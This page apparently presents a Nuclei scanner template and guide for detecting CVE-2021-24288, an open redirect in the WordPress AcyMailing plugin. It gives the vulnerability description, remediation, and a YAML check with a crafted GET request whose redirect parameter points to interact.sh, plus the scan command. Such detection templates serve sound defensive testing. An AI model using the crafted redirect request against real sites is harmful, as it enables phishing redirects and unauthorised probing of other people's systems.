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WordPress AcyMailing <7.5.0 - Open Redirect

ID: CVE-2021-24288

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2021,wpscan,wordpress,redirect,wp-plugin,acymailing

Description

Section titled “Description”

WordPress AcyMailing plugin before 7.5.0 contains an open redirect vulnerability due to improper sanitization of the redirect parameter. An attacker turning the request from POST to GET can craft a link containing a potentially malicious landing page and send it to the user.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24288


info:
  name: WordPress AcyMailing <7.5.0 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: WordPress AcyMailing plugin before 7.5.0 contains an open redirect vulnerability due to improper sanitization of the redirect parameter. An attacker turning the request from POST to GET can craft a link containing a potentially malicious landing page and send it to the user.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Update the AcyMailing plugin to version 7.5.0 or later to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/56628862-1687-4862-9ed4-145d8dfbca97
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24288
    cwe-id: CWE-601
    epss-score: 0.00137
    epss-percentile: 0.49121
    cpe: cpe:2.3:a:acymailing:acymailing:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: acymailing
    product: acymailing
    framework: wordpress
  tags: cve,cve2021,wpscan,wordpress,redirect,wp-plugin,acymailing


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=acymailing_front&ctrl=frontusers&noheader=1&user[email][email protected]&ctrl=frontusers&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym"


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
# digest: 4a0a0047304502207378d3e786745490e6474b245f6fdb43956b62f0b0a749f10f4dc00b40916d7b022100ba255d13939ab740aa2d359351ef60c7bc1a63d47c88a4100f6916074359f88d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24288.yaml"

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